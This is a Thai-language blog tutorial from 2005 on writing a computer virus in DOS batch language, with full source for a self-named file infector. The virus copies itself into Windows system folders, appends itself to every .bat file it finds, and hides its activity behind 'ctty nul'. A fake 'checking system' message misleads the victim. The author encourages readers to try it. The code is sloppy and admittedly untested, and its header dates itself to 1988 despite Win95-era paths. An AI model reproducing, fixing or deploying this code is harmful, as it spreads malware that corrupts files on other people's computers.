Virus With Batch
posted on 16 Sep 2005 15:03 by keztudio in Virusการเขียนไวรัสความพิวเตอร์ด้วยภาษา Batch
การเขียน Batch File นั้นก็คือการที่เราเขียนคำสั่งใน dos ที่ต้องการ การทำงานเป็นลำดับ (เป็นการทำให้คอมทำตามสคริปต์ที่เรสกำหนดไว้) ลงในไฟล์ที่มีนามสกุล .bat. เพราะฉะนั้น เราอาจเขียน Batch File ชึ่งทำหน้าที่การ Compile file ให้เราดังนี้
@echo off
for %%f in (*.asm) do tasm %%f
for %%f in (*.obj) do tlink /t %%f
เมื่อเราต้องการที่จะใช้มัน ก็เพียงแต่พิมพ์ชื่อไฟล์ตามที่เราตั้งไว้ในดอส แล้ว Enter มันก็จะExecute ทันที และ ในไม่ช้า ไฟล์ทุกไฟล์ก็ทำงานคอมไพล์เสร็จสิ้น
เอาล่ะคับ เรามาดูคำสั่งที่หน้าสนใจในการเขียน batch file กันเถอะ
Echo คือคำสั่งในการพิมพ์ข้อความออกทางหน้าจอคับ
ตัวอย่างเช่น ถ้าเราเขียน @echo off
echo Hello World
output ทางหน้าจอจะได้ Hello World
Echo off คืิอคำสั่งไม่ให้แสดง command line ของคำสั่งที่ถัดจากคำสั่งนี้ออกทางหน้าจอ ชื่งปรกติมันจะแสดงคำสั่งที่เราเขียนลงไปเช่น
ถ้าเราเขียน echo Hello World
Output ทางหน้าจอจะได้ C:\>echo Hello World
Hello World
แต่ถ้าเราใส่คำว่า Echo off ไว้ตำแหน่งบนสุดดังนี้
Echo off
echo Hello World
output ทางหน้าจอจะได้ C:\> Echo off
Hello World
และเวลาที่เราพิมพ์ต่อๆไปจะไม่มี command line มาขวางหูขวางตาอีกต่อไปคับ
@Echo off คือการไม่ให้แสดง command line ของคำสั่งตั้งแต่คำสั่งนี้ออกทางหน้าจอ คล้ายๆกับ echo off แต่คำสั่งนี้จะไม่แสดงตั้งแต่ตำแหน่งที่ไม่ได้ใช้เลย
...งงไหมคับ อย่าเพี่งงงคับ ต่อจากนี้คืองานจริงแล้วนะคับ...
ในการสร้าง loop ของโปรแกรมไวรัส เราสามารถทำได้สองทางคือ
- Loop แบบสำเร็จในตัว คือเราไม่ต้องกำหนดตำแหน่งให้กระโดดเข้าใน loop หรือกระโดดออกจาก loop เช่น เราใช้ for
For %%F in (*.asm) do tasm %%f
หมายความว่าให้หาทุกไฟล์ที่มีนามสกุลเปฯ *.asm หากใช่ก็ทำให้ึคำสั่ง tasm %%f (ค่าของ %%f จะเป็นชื่อของไฟล์ที่หาได้) หากไม่ใช่ *.asm ก็จะหาใหม่
และ จะหาจนกว่าจะหมด
Loop แบบที่เราต้องสร้างเองโดยใช้คำสั่ง GOTO ในการกระโดดไปหาตำแหน่ง
นั้นโดยตำแหน่งนั้นเราต้องเขียน : นำหน้าเพื่อให้รู้ว่าจะเขียนไป เช่น
: start
copy %! A:
shift
goto start
คำสั่งในการตรวจสอบเงื่อนไขก็ได้เช่น IF ใช้ดังนี้
IF exist .bak dat .bak
คำส่งข้างต้นคือการหาว่ามีไฟล์นามสกุล bak ไหม ถ้าเจอก็ฆ่าทิ้ง
เอาล่ะคับ เรามาดูคำสั่งอื่นๆที่หน้าสนใจบ้างนะคับ...
ATTRIB : คำสั่งไว้แก้คุณสมบัติของไฟล์
CALL : คำสั่งที่ทำการ execute program และ เมื่อ program นั้นทำงานแล้ว ก็ให้
คืนการทำงานมายังตำแหน่งถัดจากตำแหน่งที่ได้เรียกไป
CLS : คุ้นๆไหมคับ ใช้แล้ว...คำสั่งล้างหน้าจอคับ
CTTY : กำหนดทิศทางของ input & output ให้ไปหาไฟล์ หรือสิ่งที่เรากำหนด
PAUSE : คือการหยุดการทำงานเพื่อคอยการกดคีย์
เอาล่ะคับ พรํ่าพรื่อมานานแล้ว เรามาเข้าสู่การเขียนไวรัสกันเถอะคับ...
Begin Virus Code
@echo off %[Virus_Yin.bat]% //ลอกไวรัสนี้มาเป็นแบบคับ
rem Original file
rem This is my first Virus in Batch File Create on December 12 1988
rem Create by KeZtudio
rem Is Only a bit of code just 1.35 kbyte
rem It Only Infect All Batch File (include read only file)
rem It Not Polymorphic
rem It Likes Worm
rem It Species of Yin.30.Apr
rem This virus name KeZtudio
attrib r *.bat
attrib +a *.bat
%[KeZtuDio]%copy %0.bat C:\%0.bat
%[NullScr]%cls
echo Please Wait a Minute To Check System
%[KeZtudio]%copy %0.bat C:\windows\%0.bat
%[NullScr]%cls
echo Please Wait a Minute To Check System
%[KeZtudio]%copy %0.bat C:\windows\command\%0.bat
%[NullScr]%cls
echo Please Wait a Minute To Check System
%[KeZtudio]%copy %0.bat C:\windows\help\%0.bat
%[NullScr]%cls
echo Please Wait a Minute To Check System
ctty nul
for %%f in (C:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do copy %%f+%.bat
%[Rtn_Port]%ctty con
%[NullScr]% cls
echo Please Wait a Minute To Check System
cd c:\
attrib r *.bat
attrib +a *.bat
ctty nul
for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do attrib r *.bat
for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do attrib +a
*.bat
for %%f in (c:\*.bat d:\*.bat *.bat \*.bat..\*.bat) do copy %%f+%0.bat
%[Rtn_Port]%ctty con
cd c:\windows
%[NullScr]%cls
echo Please Wait a Minute To Check System
attrib r *.bat
attrib +a *.bat
ctty nul
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat
%[Rtn_Port]%ctty con
cd c:\windows\command
attrib r *.bat
attrib +a *.bat
ctty nul
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat
%[Rtn_Port]%ctty con
%[NullScr]%cls
echo Please Wait a Minute To Check System
cd c:\windows\help
attrib r *.bat
attrib +a *.bat
ctty nul
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib r *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do attrib +a *.bat
for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat
%[Rtn_Port]%ctty con
%[NullScr]%cls
echo NowProgram Had Already Checked System!
echo Error Not Found!
echo.
echo.
ctty con
cd\
End Virus Code
อธิบายโค้ด
จากโค้ดที่เขียนมาข้างบนนั้น เราให้ไวรัสติดเชื้อใน Current Directory ที่กำลังใช้งานอยู่หรือรันไวรัสอยู่ก่อนโดยไวรัสจะติดที่ bat ดังนั้น เราต้องแก้คุณสมบัติของไฟล์ (attribute) โดยคำสั่ง 2 บรรทัด
attrib r *.bat
attrib +a *.bat
- copy %0.bat c:\0.bat
โค้ดกระจายตนเองไปยัง Directory นอกสุด
- cls
การเคลียล์หน้าจอเพื่อแสดงข้อความ
- echo Please Wait a Minute To Check System
ออกจากหน้าจอเพื่อถ่วงความสนใจ
- copy%0.bat c:\windows\%0.bat
หลังจากที่เราหลอกผู้หลงกลอยู่นั้น ไวรัสของเราก็กะจายต่อไปคือ c:\windows\
- ctty nul
คือการปิดบังการแสดงผลงาน
- for %%f in (c:\*.bat d:\*.bat *.bat\*.bat..\*.bat) do copy %%f+%0.bat
การแผ่พันธุ์ตนเองของไวรัส
- cd c:\
การเปลี่ยน directory ที่ทำงานอยู่ประจุบันให้ไปทำงานชั้นนอกสุด
ขอให้เป็นเพียงการศึกษานะครับ
เป็นไงคับ งง ป่าว...ลองเอาไปเล่นดูนะคับ ผมเองยังไม่ได้ลองเหมือนกัน เพี่งเขียนเอง ผลเป็นไงก็มาบอกกันบ้างนะคับ อ้อ ถ้ามีข้อผิดผลาดก็ขออภัย ท่านไหนแก้ได้ก็ขอความกรุณาด้วยคับ
คราวหน้าเรามาต่อที่ การเขียนไวรัสขั้นสูงกับ COM & EXE กันนะคับ วันนี้ลาล่ะ
แว๊ปป...
Thank to ดลเดช
#1 By on 2005-09-18 11:49